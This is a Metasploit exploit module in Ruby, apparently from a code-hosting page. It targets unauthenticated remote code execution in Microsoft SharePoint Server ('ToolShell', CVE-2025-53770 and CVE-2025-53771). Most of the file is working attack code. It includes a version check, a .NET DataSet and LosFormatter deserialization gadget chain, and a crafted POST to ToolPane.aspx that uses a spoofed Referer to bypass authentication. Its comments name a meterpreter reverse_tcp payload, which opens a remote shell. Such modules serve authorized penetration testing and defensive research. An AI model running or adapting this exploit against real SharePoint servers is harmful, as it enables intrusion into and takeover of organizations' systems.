315 lines
15 KiB
Ruby
315 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
|
|
'Description' => %q{
|
|
This module exploits the authentication bypass vulnerability CVE-2025-53771 (a patch bypass of CVE-2025-49706),
|
|
and an unsafe deserialization vulnerability CVE-2025-53770 (a patch bypass of CVE-2025-49704), to achieve
|
|
unauthenticated RCE against a vulnerable Microsoft SharePoint Server.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
|
|
'Viettel Cyber Security',
|
|
# Metasploit module, based on the public PoC of the zero-day exploit for CVE-2025-53770 and CVE-2025-53771.
|
|
'sfewer-r7'
|
|
# NOTE: The author attribution for CVE-2025-53770 and CVE-2025-53771 is unclear.
|
|
],
|
|
'References' => [
|
|
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
|
|
['CVE', '2025-49704'],
|
|
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
|
|
['CVE', '2025-49706'],
|
|
# Patch bypass for CVE-2025-49704, exploited in-the-wild as a zero-day.
|
|
['CVE', '2025-53770'],
|
|
# Patch bypass for CVE-2025-49706, exploited in-the-wild as a zero-day.
|
|
['CVE', '2025-53771'],
|
|
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
|
|
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
|
|
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
|
|
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
|
|
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
|
|
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771, caught in-the-wild.
|
|
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
|
|
# Microsoft Guidance.
|
|
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
|
|
# The zero-day exploit for CVE-2025-53770 and CVE-2025-53771, published July 21, 2025.
|
|
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
|
|
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
|
|
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
|
|
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
|
|
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
|
|
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
|
|
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
|
|
],
|
|
'DisclosureDate' => '2025-07-19', # Disclosure date for CVE-2025-53770 and CVE-2025-53771.
|
|
'Platform' => ['win'],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false, # Executes as the SharePoint site user.
|
|
'Targets' => [
|
|
[
|
|
'Default', {}
|
|
]
|
|
],
|
|
# NOTE: Tested with the following payloads:
|
|
# cmd/windows/http/x64/meterpreter/reverse_tcp
|
|
# cmd/windows/generic
|
|
'DefaultOptions' => {
|
|
'RPORT' => 80,
|
|
'SSL' => false,
|
|
# Delete the fetch binary after execution.
|
|
'FETCH_DELETE' => true,
|
|
# The root path of the SharePoint site
|
|
'URIPATH' => '/'
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
|
|
)
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
|
|
|
|
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
|
|
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
|
|
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
|
|
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
|
|
|
|
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
|
|
|
|
version = Rex::Version.new(site_client_tag[1])
|
|
|
|
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
|
|
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
|
|
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
|
|
# from July 2025).
|
|
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
|
|
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
|
|
|
|
ranges = [
|
|
[
|
|
'Microsoft SharePoint Server Subscription Edition',
|
|
'16.0.14326.20450', # The RTM version (circa 2021)
|
|
'16.0.18526.20424' # July 2025
|
|
],
|
|
[
|
|
'Microsoft SharePoint Server 2019',
|
|
'16.0.10337.12109', # The RTM version (circa 2019)
|
|
'16.0.10417.20027' # July 2025
|
|
],
|
|
[
|
|
'Microsoft SharePoint Enterprise Server 2016',
|
|
'16.0.4351.1000', # The RTM version (circa 2017)
|
|
'16.0.5508.1000' # July 2025
|
|
],
|
|
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
|
|
[
|
|
'SharePoint Server 2013',
|
|
'15.0.4481.1005',
|
|
'15.0.5545.1000' # Last version before end of support.
|
|
],
|
|
[
|
|
'SharePoint Server 2010',
|
|
'14.0.7015.1000',
|
|
'14.0.7268.5000' # Last version before end of support.
|
|
]
|
|
]
|
|
|
|
ranges.each do |product, rtm_version, patch_version|
|
|
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
|
|
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
|
|
end
|
|
end
|
|
|
|
# If we get here, it's a patched version.
|
|
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
|
|
end
|
|
|
|
def exploit
|
|
gadget_raw = create_gadget_chain
|
|
send_exploit(gadget_raw)
|
|
end
|
|
|
|
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
|
|
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
|
|
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
|
|
# TypeConfuseDelegate gadget chain).
|
|
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
|
|
|
|
def self.generate(nested_gadget_b64)
|
|
name_a = Rex::Text.rand_text_alpha_lower(8..16)
|
|
name_b = Rex::Text.rand_text_alpha_lower(8..16)
|
|
name_c = Rex::Text.rand_text_alpha_lower(8..16)
|
|
|
|
schema = <<~EOF
|
|
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
|
|
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
|
|
<xs:complexType>
|
|
<xs:choice minOccurs="0" maxOccurs="unbounded">
|
|
<xs:element name="#{name_b}">
|
|
<xs:complexType>
|
|
<xs:sequence>
|
|
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
|
|
</xs:sequence>
|
|
</xs:complexType>
|
|
</xs:element>
|
|
</xs:choice>
|
|
</xs:complexType>
|
|
</xs:element>
|
|
</xs:schema>
|
|
EOF
|
|
|
|
diffgram = <<~EOF
|
|
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
|
|
<#{name_a}>
|
|
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
|
|
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
|
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
|
|
<ExpandedElement/>
|
|
<ProjectedProperty0>
|
|
<MethodName>Deserialize</MethodName>
|
|
<MethodParameters>
|
|
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
|
|
</MethodParameters>
|
|
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
|
|
</ProjectedProperty0>
|
|
</ExpandedWrapperOfLosFormatterObjectDataProvider>
|
|
</#{name_c}>
|
|
</#{name_b}>
|
|
</#{name_a}>
|
|
</diffgr:diffgram>
|
|
EOF
|
|
|
|
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
|
|
|
|
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
|
|
library_id: 2,
|
|
library_name: system.to_s
|
|
)
|
|
|
|
from_values([
|
|
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
|
|
library,
|
|
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
|
|
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
|
|
obj_id: 1,
|
|
name: 'System.Data.DataSet',
|
|
member_names: %w[XmlSchema XmlDiffGram]
|
|
),
|
|
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
|
|
binary_type_enums: %i[String String]
|
|
),
|
|
library_id: library.library_id,
|
|
member_values: [
|
|
Msf::Util::DotNetDeserialization::Types::Record.from_value(
|
|
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
|
|
obj_id: 3,
|
|
string: schema
|
|
)
|
|
),
|
|
Msf::Util::DotNetDeserialization::Types::Record.from_value(
|
|
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
|
|
obj_id: 2,
|
|
string: diffgram
|
|
)
|
|
),
|
|
]
|
|
),
|
|
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
|
|
])
|
|
end
|
|
end
|
|
|
|
def create_gadget_chain
|
|
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
|
|
#
|
|
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
|
|
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
|
|
#
|
|
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
|
|
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
|
|
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
|
|
|
|
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
|
|
payload.encoded,
|
|
gadget_chain: :TypeConfuseDelegate,
|
|
formatter: :LosFormatter
|
|
)
|
|
|
|
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
|
|
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
|
|
|
|
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
|
|
|
|
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
|
|
|
|
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
|
|
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
|
|
|
|
dataset_gadget_raw
|
|
end
|
|
|
|
def send_exploit(gadget_raw)
|
|
gadget_gzip = StringIO.new
|
|
|
|
gzip = Zlib::GzipWriter.new(gadget_gzip)
|
|
gzip.write(gadget_raw)
|
|
gzip.close
|
|
|
|
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
|
|
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
|
|
|
|
xml = <<~EOF
|
|
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
|
|
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
|
|
<#{namespace_ui}:UpdateProgress>
|
|
<ProgressTemplate>
|
|
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
|
|
</ProgressTemplate>
|
|
</#{namespace_ui}:UpdateProgress>
|
|
EOF
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'headers' => {
|
|
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
|
|
},
|
|
'vars_get' => {
|
|
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
|
|
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
|
|
},
|
|
'vars_post' => {
|
|
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
|
|
'MSOTlPn_DWP' => xml
|
|
}
|
|
)
|
|
end
|
|
end
|